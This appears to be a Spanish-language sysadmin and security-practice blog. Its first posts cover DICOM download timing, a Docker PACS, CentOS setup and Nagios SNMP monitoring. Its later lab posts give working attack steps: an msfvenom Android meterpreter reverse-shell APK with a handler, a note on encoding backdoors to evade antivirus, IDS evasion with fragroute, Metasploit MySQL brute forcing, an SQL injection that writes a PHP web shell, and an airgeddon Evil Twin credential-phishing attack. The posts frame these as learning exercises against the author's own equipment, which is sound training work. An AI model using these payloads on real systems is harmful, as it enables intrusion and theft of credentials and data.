lunes, 21 de octubre de 2019

Protocolo DICOM: medir el tiempo de descarga de estudios (Wintel)


DCMTK es un toolkit para el testeado de una aplicación dicom cliente/servidor (también llamado SCU/SCP)

Vamos a utilizar los ejecutables de DCMTK, una vez descargados situar una sesión de CMD a la carpeta .. \dcmtk\ donde lo tengamos instalado.

A modo de prueba ejecutaremos el siguiente comando contra un PACs con el AE titile correspondiente que va a pedir un estudio:

movescu -v --study --call "SRVAGFWFM01" --aetitle "PCALMA" --key "0008,0052=STUDY" --key "0020,000D=1.2.124.113532.80.22153.16226.20191017.91050.9809773" 192.168.108.229 104

Este es el comando original de descarga de estudios, el cual vamos a insertar en un bat que medirá el tiempo de ejecución de este comando, esto nos servirá para determinar el tiempo de descarga ya que el comando al finalizar libera la conexión y el script nos dá el tiempo transcurrido.

Pero antes debemos ejecutar el nodo receptor SCP en el equipo que seleccionemos con el  siguiente comando el cual abrirá el puerto de recepción 104:

storescp 104 -aet PCALMA -od C:\Users\usralma\Desktop\Output

Creamos un bat llamado timecmd.bat e insertamos el comando anterior:

@echo off
@setlocal
set start=%time%

:: Estudio de tipo CT de 704 imagenes
C:\Users\roland.peralta\Desktop\HERRAMIENTAS\dcmtk\windows\movescu -v --study --call "DCM4CHEE" --aetitle "AE_ALMA3D_ROLAND" --output-directory "almalog" --key "0008,0052=STUDY" --key "0020,000D=1.2.250.1.59.1.999.10.20170210.16985655" 172.26.0.7 11112 
set end=%time%
set options="tokens=1-4 delims=:.,"
for /f %options% %%a in ("%start%") do set start_h=%%a&set /a start_m=100%%b %% 100&set /a start_s=100%%c %% 100&set /a start_ms=100%%d %% 100
for /f %options% %%a in ("%end%") do set end_h=%%a&set /a end_m=100%%b %% 100&set /a end_s=100%%c %% 100&set /a end_ms=100%%d %% 100
set /a hours=%end_h%-%start_h%
set /a mins=%end_m%-%start_m%
set /a secs=%end_s%-%start_s%
set /a ms=%end_ms%-%start_ms%
if %ms% lss 0 set /a secs = %secs% - 1 & set /a ms = 100%ms%
if %secs% lss 0 set /a mins = %mins% - 1 & set /a secs = 60%secs%
if %mins% lss 0 set /a hours = %hours% - 1 & set /a mins = 60%mins%
if %hours% lss 0 set /a hours = 24%hours%
if 1%ms% lss 100 set ms=0%ms%
:: Mission accomplished
set /a totalsecs = %hours%*3600 + %mins%*60 + %secs%
echo command took %hours%:%mins%:%secs%.%ms% (%totalsecs%.%ms%s total)


Resultado:



Así, para determinar los MB por segundo realizamos esta sencilla operación: Medimos el peso en la carpeta donde se han guardado los estudios, en este caso 356 MB y dividimos este valor por el tiempo total que llevó descargarlo 18.85 segundos, el total nos dará 18.88 MB / por segundo.




lunes, 14 de octubre de 2019

Configurar un PACs DICOM en un contendedor DOCKER

Instalar DOCKER DCM4CHEE V3
_________________________________________

En primer lugar, configurar una ip ESTATICA del servidor:
editar archivo:

vi /etc/sysconfig/network-scripts/ifcfg-eth0

BOOTPROTO=static
ONBOOT=yes
IPADDR=172.26.0.188
PREFIX=24
GATEWAY=172.26.0.250
DNS1=172.26.0.3
DNS2=8.8.8.8


Instalar DOCKER
yum install docker

Activar el deamon:
sudo systemctl start docker
sudo systemctl enable docker

Instalar containter DCM4CHEE v3
Comando: docker pull jodogne/dcm4chee

Configurar e iniciar DCM4CHEE
docker container run -p 8080:8080 -p 11112:11112 --name="pacs" jodogne/dcm4chee

Abrir los puertos del firewall interno:
firewall-cmd --add-port=11112/tcp --permanent
firewall-cmd --reload

Iniciar - Reiniciar DCM4CHEE (casos de reinicio del servidor)
docker start pacs

Mantener DCM4CHEE iniciado al reiniciar el servidor:

    crear script:
    vi iniciar_pacs.sh
    #!/bin/sh
    echo Iniciando PACs
    docker start pacs

    guardarlo en:
    /root/Desktop/

    dar derechos de ejecución:
    chmod +x iniciar_pacs.sh

    ejecutar crontab (inicio retrasado 90 segundos):
    crontab -e
    @reboot /bin/sleep 90 ; /root/Desktop/iniciar_pacs.sh

Ver instancias activas:
docker ps

Destruir contenedores (no activos):
Comando: docker system prune

Parar instancia:
docker stop pacs

Comprobar PUERTOS a la escucha:
netstat -antp | grep LISTEN

URL plataforoma (v3):
http://172.26.0.188:8080/dcm4chee-web3/

Configuración Nodo DICOM en el visor cliente:



Ver logs:
journalctl | grep pacs
docker logs --details pacs

Comprobar CARGA del servidor de DOCKER:
docker stats pacs

miércoles, 9 de octubre de 2019

Instalación de Linux Cent OS 7 (Simple)




  1. Descargar imagen del SO: CentOS-7-x86_64-Minimal-1810 
  2. Instalarlo sobre una VM, ej. Hyper-V
  3. Configurar DHCP o IP fija para acceder a Internet:
    • ver interfaces: ip add
    • cd /etc/sysconfig/network-scripts/
    • vi ifcfg-eth0
    • pulsar tecla insert para modificar
    • cambiar ONBOOT=yes (valor por defecto “no”)
    • ejemplo de configuración:
    • BOOTPROTO=static
      ONBOOT=yes
      IPADDR=172.26.0.188
      PREFIX=24
      GATEWAY=172.26.0.250
      DNS1=172.26.0.3
      DNS2=8.8.8.8
    • DEVICE=eth0
    • Guardar :wq<Return> (control+c para cambiar de modo)
    • reiniciar interfaz: /etc/init.d/network restart
    • probar ping a google.com
     4. Instalar net-tools:
    • yum install net-tools
    • + info: https://linuxconfig.org/howto-install-ifconfig-on-centos-7-linux
    5. Activar y modifcar Firewall:

    • sudo systemctl start Firewalld.service
    • Firewall-cmd --list-all
    • Obertura de puertos Firewall:
    • https://stackoverflow.com/questions/24729024/open-firewall-port-on-centos-7
   6. Crear el entorno gráfico (sin ejecución al inicio):

    • sudo yum -y groups install "GNOME Desktop"
    • iniciar el entorno con el comando : startx


jueves, 26 de septiembre de 2019

Tomar la temperatura del chassis HP en ILO5 con Nagios




Vamos a tomar la temperatura del chassis de un servidor HP a través de comandos SNMP para pasarle a Nagios una alarma en el caso del que el servidor se sobrecaliente por falta de ventilación o fallo de climatización.

He montado una maquina virtual con CentOS 7 (CentOS-7-x86_64-Minimal-1810.iso) corriendo sobre un servidor Wintel 2012 con Hyper-V.

El primer paso Instalar NAGIOS CORE (nagios-4.4.5.tar.gz) y  descargar las librerias de SNMP

Instalar el plugin check_snmp en /usr/local/nagios/libexec y darle permisos de acceso

chmod 755 check_snmp

Una vez instalado, editar los archivos siguientes para dar de alta los host y lo servicios. /usr/local/nagios/etc/objects
  • nagios.cfg (configuración general rutas)
  • hosts.cfg (basicamente las IP de los Host a auditar)
  • commands.cfg (son los comandos con las variables de servicios)
  • services.cfg (son los servicios a auditar)


Entrar en ILO y dar de alta usuario y credenciales con el que entraremos por SNMP desde Nagios
asegurarese tener los puertos 161 y 162 abiertos.  ir a Management - SNMP Settings y dar de alta un nuevo usuario, poner credenciales para el Protocolo de Autentificacion SHA y el Protocolo de Privacidad AES.



Entrar en la consola de Linux y ejecutar el comando con las credeciales y el OID que vamos a escojer, el cual nos devuelve la temperatura del chassis y luego escribirla en dichos archivos:

Código nagios.cfg:

# OBJECT CONFIGURATION FILE(S)
# These are the object configuration files in which you define hosts,
# host groups, contacts, contact groups, services, etc.

cfg_file=/usr/local/nagios/etc/objects/commands.cfg
cfg_file=/usr/local/nagios/etc/objects/contacts.cfg
cfg_file=/usr/local/nagios/etc/objects/timeperiods.cfg
cfg_file=/usr/local/nagios/etc/objects/templates.cfg
cfg_file=/usr/local/nagios/etc/objects/hosts.cfg
cfg_file=/usr/local/nagios/etc/objects/services.cfg 
# Definitions for monitoring the local (Linux) host
cfg_file=/usr/local/nagios/etc/objects/localhost.cfg
Código hosts.cfg:

         # DEFINICION DE HOSTS
         # These are the object configuration files in which you define hosts
define host {
    host_name                        ilo_srvhyperv01
    alias                                  ILO de srvhyperv01
    address                             172.26.0.152
    max_check_attempts        5
    check_interval                  1
    check_period                    24x7
    notification_interval         30
    notification_period           24x7
}

Código commands.cfg:

         # DEFINICION DE COMANDOS
         #Aquí es donde definimos los comandos a ejecutar, se pueden ejecutar previamente
         # en la linea de comandos para testearlo antes de escribir en este archivo.
# ILO 5 Proliant Server command
define command {
command_name check_ilo5_chassis_temp
command_line $USER1$/check_snmp -P 3 -U ilosnmp -L authPriv -a SHA -A authentication_passphrase -x AES -X privacy_passphrase- -H 172.26.0.152 -o $ARG1$ -w $ARG2$ -c $ARG3$
}
Código services.cfg:

         # DEFINICION DE SERVICIOS
         #Aquí es donde definimos los servicios que vamos a consultar
         # el simbolo ! define las variables $ARG$ que se van a pasar al archivo commands.cfg
         # en este caso !1.3.6.1.4.1.232.6.2.6.8.1.4.0.29   !50   !60
define service {
    host_name                            ilo_srvhyperv01
    service_description            check ilo5 chassis temp
    check_command                        check_ilo5_chassis_temp!1.3.6.1.4.1.232.6.2.6.8.1.4.0.29!50!60
    notifications_enabled          1
    max_check_attempts          5
    check_interval                    5
    retry_interval                      3
    check_period                      24x7
    notification_interval           30
    notification_period             24x7
    notification_options            w,c,r
}
Reiniciar Nagios:

service nagios restart

Resultado:



Otros plugins útiles:

http://william.leibzon.org/nagios/

Agentes de Nagios:

Monitoring Windows Machines · Nagios Core Documentation
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/monitoring-windows.html

Monitoring Linux-Unix Machines · Nagios Core Documentation
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/monitoring-linux.html

1. Instalar agente NSCP-0.5.2.35-x64.msi 
2. Instalar plugin check_nt en linux (si no estubiera) para comunicarse con el agente.
3. Editar archivo de configuracion y activar  las opciones a enabled
ruta: c:\Program Files\NSClient++\nsclient.ini
recordar poner la IP habilitada de Nagios para consultar el agente y la contraseña compartida.
4. Abrir los puertos del firewall puerto: 12489

5. Reiniciar el servicio NSclient Monitoring agent.

+ info sobre instalación de CentOS7 y Nagios Core:

how add host on nagios core
https://community.spiceworks.com/topic/1899607-how-add-host-on-nagios-core

install gcc
https://helloit.es/2012/01/no-acceptable-c-compiler-found-in-path/

Install Nagios Core on CentOS 7
https://linuxhostsupport.com/blog/how-to-install-nagios-core-on-centos-7/

Install net-tools
https://www.itzgeek.com/how-tos/mini-howtos/netstat-command-not-found-on-centos-7-rhel-7-quick-fix.html

Install wget
http://ayuda-it.blogspot.com/2011/07/instalacion-del-comando-wget-en-linux.html

listar servicios activos
https://www.jesusamieiro.com/como-comprobar-que-servicios-estan-en-ejecucion-en-un-sistema-linux/

Object Definitions
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/objectdefinitions.html

problemas http forbidden
https://nksistemas.com/solucion-en-nagios-a-http-warning-http-1-1-403-forbidden/

Setup network
https://lintut.com/how-to-setup-network-after-rhelcentos-7-minimal-installation/

Abrir puerto 80 firewall
https://stackoverflow.com/questions/24729024/open-firewall-port-on-centos-7

NOTA:

Recordar modificar el archivo del sistema linux hosts (/etc/hosts) con las IPs y nombres que se nombren en el archivo hosts de Nagios (/usr/local/nagios/etc/objects).



sábado, 26 de mayo de 2018

Tècnicas de evasión de IDS: Modificar TTL con Fragroute

Cuando hacemos un ping hacia cualquier IP,  el Sistema Operativo genera un TTL, generalmente cada SO genera un TTL diferente que nos puede servir para determinar el SO del host que realiza el ping (Ping Request) y el SO del servidor que lo recibe (Ping Reply).

Practica 1: vamos a cambiar el TTL de nuestros pings para tratar de hacer creer a la red de destino que somos un SO diferente del que realmente somos. Ello podría ser útil en algún escenario de pentesting.

Utilizamos para ello el programa FragRoute, este programa fragmenta paquetes para tratar de esquivar un IDS. Vamos a configurar su archivo de configuración:

root@kali: # nano /etc/fragroute.conf
Tenemos un SO Linux con un TTL determinado, vamos a cambiarlo por 64 el cual corresponde generalmente a un SO Machintosh (ver correspondencias generales)

Añadimos esta linea al archivo de configuración:


ip_ttl 64






Guardamos con Ctrl+O e iniciamos fragroute con una IP de destino, por ejemplo:

root@kali: # fragroute -f /etc/fragroute.conf 192.168.1.37
Ahora podemos usar otra consola para realizar un ping al destino:


Fragroute empieza a modificar los paquetes que envia:


Tenemos a la escucha a Tshark con el que comprobamos que efectivamente se ha modificado el TTL (request) en nuestra IP virtual 10.211.55.3:


Si se fallase el ping a posteriori, podemos reiniciar nuestra pila de red con:

root@kali: # /etc/init.d/networking restart
___________

Una de las utilidades de los TTL es poner un TTL corto para que sea descartado después de pasar los tradicionales Firewalls/IDS.

Es una técnica de ataque a un host, el cual reensamblará los paquetes descartando los sobrantes por TTL expirado, esto implica que será el host el único que leerá el código del ataque y no el IDS. Se le conoce como un ataque por fragemntación TCP Chaff con TTL corto.

Existe también evasión de IDS mediante Bad Checksums en la capa TCP y opciones invalidas del paquete que se descartarán en el host destino.

Hoy en día hay IDS-IPS con capacidades avanzadas de análisis para detectar paquetes sospechosos. como por ejemplo  McAfee Network Security Platform . Esta plataforma opera en diferentes capas OSI detectando ataques con técnicas de ofuscación combinadas.

Existe un TEST http online que lanza ataques contra nuestro firewall con la finalidad de probar deteciones. (GitHub)

Es recomendable que el adminstrador del sistema se plantee no permitir fragmentación en la red si no es necesaria por tal de atacar de raiz esta vulnerabilidad.





miércoles, 23 de mayo de 2018

MSFvenom: Acceso remoto a móbiles Android

IMPORTANTE: Se va a realizar una práctica con fines de aprendizaje que demuestra el riesgo que puede significar aceptar una aplicación autoinstalable (APK) desde un origen no verificado.

En este caso el usuario dispone de un móvil Android 4.4.2 con la opción "Descarga de archivos de origenes desconocidos" activada.

1. Vamos a crear un archivo llamado android.apk el cual contendrá un ejecutable no cifrado el cual abrirá una conexión hacia nuestra máquina de nuestra red local:

root@kali: # msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 R > android.apk

2. Una vez creado el archivo lo subimos a uploadfiles.io por ejemplo.

3. Abrimos una sesión de Metasploit en nuestra computadora e introducimos los valores necesarios para poner una IP local y puerto a la escucha:

root@kali: # msfconsole
msf > use multi/handler
msf > set PAYLOAD android/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.11
msf > set LPORT 4444
msf > run 
4. En el móbil Android el usuario se descarga el archivo que subimos a uploadfiles.io y lo ejecuta a través del explorador de archivos. En el momento de ejecutarlo se abrirá una conexión local contra nuestra máquina:




A partir de este momento podemos ejecutar variedad de comandos contra el dispositivo como por ejemplo uno para volcar el registro de llamadas. para ver todos los comandos disponibles teclear "?"

meterpreter > dump_calllog

Para crear una conexión de un movil remoto a nuestra red interna se habrá de crear una regla en nuestro router que permita conexiones al puerto que hemos elegido 4444 con nuestra IP pública.

________

Crear un backdoor en Windows tiene un procedimiento similar, en este caso además aplicamos un encoder con la opción -e para ofuscar el código y esquivar el antivirus.

Además, usando el parámetro -i en  MSFvenom creará más iteraciones que puede ayudar a evadir el AV.








viernes, 11 de mayo de 2018

OpenVAS: Instalación, configuración y prueba

Vamos a instalar y configurar el escanner de vulnerabilidades de red y aplicaciones OpenVAS para luego lanzar una prueba a un único equipo de red, en este caso contra un AP de Cisco.

Es muy recomendable lanzarlo contra objetivos únicos o segmentos de red controlados ya que si lo hacemos contra toda la red es muy probable que se cuelgen los servidores, estaciones de trabajo, electrónica de Red, etc.

Instalación desde Kali Linux: Descargar el sofware e instarlo:

root@kali: # apt-get update
root@kali: # apt-get install openvas
Una vez instalado vamos a hacer un test de la configuración de OpenVAS:

root@kali: # openvas-check-setup

En este caso el test nos indica que actualizamos las definiciones de red NVT con el comando:

root@kali: # greenbone-nvt-sync
Una vez realizados los tests con éxito, ejecutamos openVAS:

root@kali: # openvas-start 
Se iniciarán los servicios de openVASy se abrirá automáticamente una ventana del explorador web con la interfaz Web. en la siguente captura se observa como se crearon las conexiones loopback:



Definir el usuario y contraseña para acceder a la interfaz web:

root@kali: # openvasmd --create-user=root --role=Admin && openvasmd --user=root --new-password=toor
Accedemos a la web con usuario: root password: toor
A continuación hacemos un scan inmediato la IP del AP, Ir al menú CONFIGURATION/TARGETS / New Target (click al icono superior izquierda en forma de estrella) / luego ir al menú SCANS / TASKS y click al icono superior iquierda en forma de estrella "New task" y seleccionar como target el que acabamos de definir en la configuración de targets. Pulsar Create e iniciar.



Pasados unos minutos vemos que ha detectado una vulnerabilidad "Form basic validation" que significa que el acceso con credenciales al AP no esta cifrado por el puerto 80:

Comprobamos con Tshark que efectivamente el trafico no esta cifrado a la hora de enviar el Usuario y contraseña al AP:

Ejemplo de un caso en el que capturamos el usuario y contraseña de una conversación previamente capturada con Tshark en una conexión sin cifrar; el siguente comando nos permite visulaizar el binario directamente:

root@kali: # less captura.cap


OpenVAS nos va ayudar a conocer  los puntos dèbiles de nuestra red y de esta forma podremos corregir sus vulnerabilidades.

_____   _____


Resumen con capturas de pantala de las fases que van desde el descubrimiendo de la vulnerabilidad con OpenVAS a su explotación con Metaesploit:

Resultados OpenVAS
En OpenVAS: Ver la Referencia CVE en los Resultados de las pruebas, apartado References
Consultar Referencia CVE en Duckduckgo.com por ejemplo.
Buscar  CVE para aplicar en Metaesploit en cvedetails.com y ver el apartado Metaexploit Modules.
Buscar el exploit con el CVE en Metaesploit con la numeración mostrada.







miércoles, 9 de mayo de 2018

Configuración y prueba de IDS Snort


Vamos a realizar una práctica de detección de paquetes ICMP (Ping) que circulen por nuestra Intranet con Snort.


El primer paso es configurar el archivo de configuración de Snort con la IP y mascara de la red que queremos proteger.



root@kali: # nano /etc/snort/snort.conf 
A continuación vamos a personalizar una RULE para detectar pings dentro de nuestra red Interna:
abrir el archivo siguente con el editor nano:

root@kali: # nano /etc/snort/rules

 Introducimos los valores de la imàgen superior, "alert" será la alerta a definir, "ICMP" el protocolo, "any any -> any any" significa cualquier IP/puerto de origen o destino "msg" el mensaje que saldrá en pantalla (o archivo generado) "sid" la clasificación.

ahora ejecutamos snort con la siguente orden:

root@kali: # snort -A console -i eth0 -c /etc/snort/snort.conf  
En este caso práctico usamos la salida -A console para visualizar los resultados directamente por consola, pero si quisieramos guardar los resultados en un archivo deberiamos escribir:

root@kali: # snort -l ./log -b -c /etc/snort/snort.conf
Dónde "-l ./log" es para indicarle a snort que cree un archivo tipo log en la carpeta log, "-b" es para procesar a nivel de bits y así ahorrar tiempo de análisis a Snort, y "-c" es para aplicar la configuración guardada en el archivo snort.conf.

Prueba: vamos a usmear la red haciendo ping a algún disponsitivo de la red interna:


 Snort detecta esta actividad y la revela via consola o via log:
 Resultado por consola:


 Resultado por archivo log:

root@kali: # cat alert | less 

en el directorio /log se generan dos archivos el alert (imagen superior) y  snort.log.xxxx que es el volcado completo para analizar posteriormente.

Para salir de Snort, pulsar Control + C.

Una ventaja del guardado en log en un servidor es que es posible trabajarlo en un sistema SIEM.







martes, 8 de mayo de 2018

Uso de Sockets con ProxyChains en Kali

En esta práctica vamos a generar conexiones (sockets) que pueden ser de tipo HTTP, FTP, Nmap, DNS, etc a través de Proxychain pasando por la red TOR hasta un destino.

Asegurarse que "proxychain" y "tor" están instalados porque en las versiones ARM de Kali no lo están.



El primer paso es acceder al archivo de configuración en la siguente ruta:




root@kali: # nano /etc/proxychains.conf
Activamos la opción "dynamic_chain" borrando el slash y nos aseguramos que la opción proxy_dns esté activada (ver imagen superior). Finalmente añadimos "socks5 127.0.0.1 9050" que será la conexión loopback hacia TOR. 


Comprobar el estado del servidor TOR y reiniciarlo:

root@kali: # service tor status
root@kali: # service tor stop
root@kali: # service tor start
Vamos a navegar con lynx a través de proxychains hasta duckduckgo.com:

root@kali: # proxychains lynx duckduckgo.com


En la captura de pantalla se observan las conexiones al proxychain correctas y a su vez la interfaz del explorador de Internet Lynx. 

Vamos a realizar la siguente búsqueda en la web cargada de duckduckgo.com para comporbar que realmente estamos navegando a través de TOR: escribir "dns leak test" en el área de búsqueda de  (ver imágen superior)

A continuación comprobamos que nuestra IP es un nodo de salida anónimo de la red TOR:





lunes, 7 de mayo de 2018

Práctica de Seguridad: Fuerza bruta contra BBDD MySQL





En esta práctica vamos a intentar entrar en una base de datos nuestra red local (sin firewall delante).
Antes habremos de haber instalado un servidor WAMP con bWAPP el cual tiene una BBDD MySQL.


Paso uno: Exploración:
Hacemos un escaneo de puertos del host local:

root@kali: # nmap 192.168.1.39
nos debolverá como reslutaado el puerto que buscamos:

Nmap scan report for 192.168.1.39
3306/TCP open mysql
A continuación usaremos Metaexploit para probar contraseñas de Usuarios y Passwords contra ese puerto:

Primero ejecutamos metaexploit en Kali Linux:

root@kali:#  msfconsole
Buscaremos el modulo auxiliar para esta tarea:

Ejecutaremos un comando de reconomiento para saber la versión de MySQL:

msf> use auxiliary/scanner/mysql/mysql_version 
luego ejecutaremos info para saber los parametros que necesita el comando:
y pondremos la IP del host a atacar:
y por último lo ejecutamos:
msf> auxiliary(scanner/mysql/mysql_version) > info
msf> auxiliary(scanner/mysql/mysql_version) > set RHOSTS 192.168.1.39
msf> auxiliary(scanner/mysql/mysql_version) > run

 Nos devolverá la version.

Buscamos la rutina auxiliar que nos ayudará a realizar la prueba de contraseñas:

msf>  use auxiliary/scanner/mysql/mysql_login 
Introducimos los parametros necesarios, host a atacar y archivo de texto (diccionario) que contiene los usuarios/contraseñas y lo ejecutaremos:

msf>  auxiliary(scanner/mysql/mysql_login) set RHOSTS 192.168.1.39
msf>  auxiliary(scanner/mysql/mysql_login) set PASS_FILE passwords.txt
msf>  auxiliary(scanner/mysql/mysql_login) set USER_FILE users.txt
msf>  auxiliary(scanner/mysql/mysql_login) run
Resultado:

Los txt los recoge de la ruta en la que esta el promt, en este caso en el mismo diretorio de trabajo /root.

Una vez conseguidos el usuario y contraseña, pasamos a utilizar enumeración con Metaesploit para conseguir información del servidor,  usuarios con privilegios, directorios que permiten escritura, certificados, etc.




Para finalmente entrar en la base de datos bastaría con poner el usuario y contraseña que conseguimos antes, y poder ver las bases de datos con show databases por ejemplo.

root@kali: # mysql -h 192.168.1.39 -u root -p


Práctica de seguridad: Ataque Injección SQL a Formulario Web




En esta práctica vamos a atacar a una website hospedada en nuestro ordenador a través de un formulario de búsqueda. Utilizaremos bWAPP, se trata de un website lleno de bugs expresamente para que podamos practicar.

El primer paso es instalar e iniciar un servidor web (Apache, MySQL, PHP) en nuestro ordenador , en este caso utilizaremos XAMP en una maquina Machintosh (Unix). Descargar aquí.

El siguente paso es instalar el website bWAPP: Descargar aquí.

A continuación configuraremos el servidor con el mínimo de seguridad para emular una mala configuración administrativa.

Dar todos los permisos a las carpetas:
  1. chmod 777 passwords/
    chmod 777 images/
    chmod 777 documents/
    chmod 777 logs/
Modificarmos el siguente archvivo settings.php de bWAPP y dejamos el password en blanco:
  1. // Database connection settings
    $db_server = "localhost";
    $db_username = "root";
    $db_password = "";
    $db_name = "bWAPP";
Y procedemos a instalar ejecutando el archivo install.php  ejemplo: http://localhost/bWAPP/install.phpy hacemos clic en "clic here to install",

ir a http://localhost/bWAPP/login.php y logearse con: bee/bug

                                             ________________________

Una vez concluida la instalación, podemos proceder a realizar la práctica:

Primer paso:
Seleccionamos en el desplegable este tipo de ataque: SQL Injection (GET/Search)

Nos llevará a un formulario de tipo entrada de datos (GET), en el cual probaremos el siguente ataque (sin entrar en detalle) el cual generará un archivo que devolverá un terminal desde la carpeta que suele tener premisos de escritura llamada /images :

  1. a' UNION SELECT 1, "<?php system($_GET['cmd']) ?>",1,1,1,1,1 INTO OUTFILE "/Applications/XAMPP/xamppfiles/htdocs/bWAPP/images/shell.php" -- -
     


la sentencia antearior generará un archivo con un script en PHP que nos devolverá un terminal de comandos.
Ejecutaremos el siguente comando de prueba desde la barra de búsqueda (ver resultado imagen inferior) se trata del comando "traceroute -m 3 google.com" que nos devolverá la ruta hasta la salida a Internet de la red atacada.

http://192.168.1.39/bWAPP/images/shell.php?cmd=traceroute%20-m%203%20google.com

viernes, 4 de mayo de 2018

Práctica de seguridad: Ataque Evil Twin contra AP con clientes

ATENCIÓN: Esta práctica se recomienda realizarla contra equipos de nuestra propiedad no interfiriendo equipos ajenos.

NOTA: Las antenas de sensibilidad media tales como la usada en esta práctica (TP-Link WN722N con chip Atheros y antena de 9db USB) no dá buenos resultados por su baja potencia de injección de tráfico.

Este ataque consiste en desautorizar a un cliente hasta que se desconecte de su AP para ser trasladado a una Web de validación de credenciales, la cual le solicitará al usuario su clave de acceso de su AP.

Todo se automatiza a través del script airgeddon.sh. el cual ahorra mucho tiempo que de la forma tradicional a través del suite aircrack-ng en Kali Linux.

El primer paso es instalar airgeddon y luego ejecutarlo:
  1. root@kali:-#git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git 
    root@kali:-#cd airgeddon
    root@kali:-#bash ./airgeddon.sh
instalar los paquetes que indica el programa que faltan con:
  1. root@kali:-#apt-get install paquete_que_falte
poner la tarjeta wireless en modo monitor:
  1. root@kali:-#airmon-ng start wlan0
se creará la interfaz wlan0mon.

cambiar el mac a una aleatoria:

  1. root@kali:-#ifconfig wlan0mon down
    root@kali:-#macchanger wlan0mon -r
    root@kali:-#ifconfig wlan0mon up

Seleccionar la interfaz wlan, selecionar la opción 7 "Evil atacs menu"
seleccionar la opción 9, esta opción crea un portal web cautivo el cual se le pedirán las credenciales.
seleccionar el BSSID objetivo, en el siguente menú "Evil Twin deauth" selecconar 2 (deautentificacion a través de Aireplay) en "DoS persuit mode" e "Internet interface metod" decir no.

A continuación se ejecutará el siguente script, que tal como se ve en la captura inferior consta de un AP, el sistema de Routing iptables, un DHCP, un injector de trafico de broadcast de desautentificacion de clientes, un servidor web, un servicio de DNS spoofing, y un monitor de control de conexiones.

Las credennciales se guardarán en un archivo en el escritorio.


El script funciona correctamente en una Raspberry Pi 3 con Kali ARM. Recordar que sólo funcinará  bajo interfaz gràfica, por lo cual habra que activar el modo grafico con el comando vncserver para conectarse por consola a travès de la tablet o startx para consola directa si hemos iniicado la Raspy con teclado/ratón/pantalla.


Autor: Roland / Operador de Red

martes, 24 de abril de 2018

Configuración rápida de un AP Cisco 1100




En este caso el dispositivo actuará como AP autónomo, no funcionará como master o esclavo en una red LAN. Es un dispositivo común en redes medianas y grandes en Hoteles, aeropuertos, hospitales y similares, aunque en el ejemplo trataremos con un escenario de un pequeño comercio.

Resetear el dispositivo con ajustes de fábrica:
Pulsar sobre el botón reset con el dispositivo apagado, luego seguir pulsando unos segundos mientras se enciende.

En mi caso alimento el AP por PoE (ver segunda foto) y este a su vez se conecta a un Router.

Una vez encendido el AP se iluminarán los tres leds, esperar unos segundos y acceder via Web al AP a travès de la dirección DHCP que le halla otorgado el router, ej http://192.168.1.34, Introducir el usuario y contraseña por defecto que es: Cisco / Cisco

Accedemos al menú: Network interfaces /Radio0-802.11B/ Pestaña Settings. Marcamos "Enable Radio" y dejamos todos los valores por defecto, (ver referencia cisco sobre los valores por defecto a introducir)

Ir a al menú "Express Security": Le ponemos la seguridad que queremos, el nombre de la red y marcamos la casilla " Broadcast SSID in beacon " para que la red sea anunciada.


Ahora la red ya esta disponible para enlazarse a ella desde nuestros dispositivos WIFI.


Para saber si hay un cliente conectado al AP, ejecutar este comando en la shell del AP: 
sh dot11 statistics client-traffic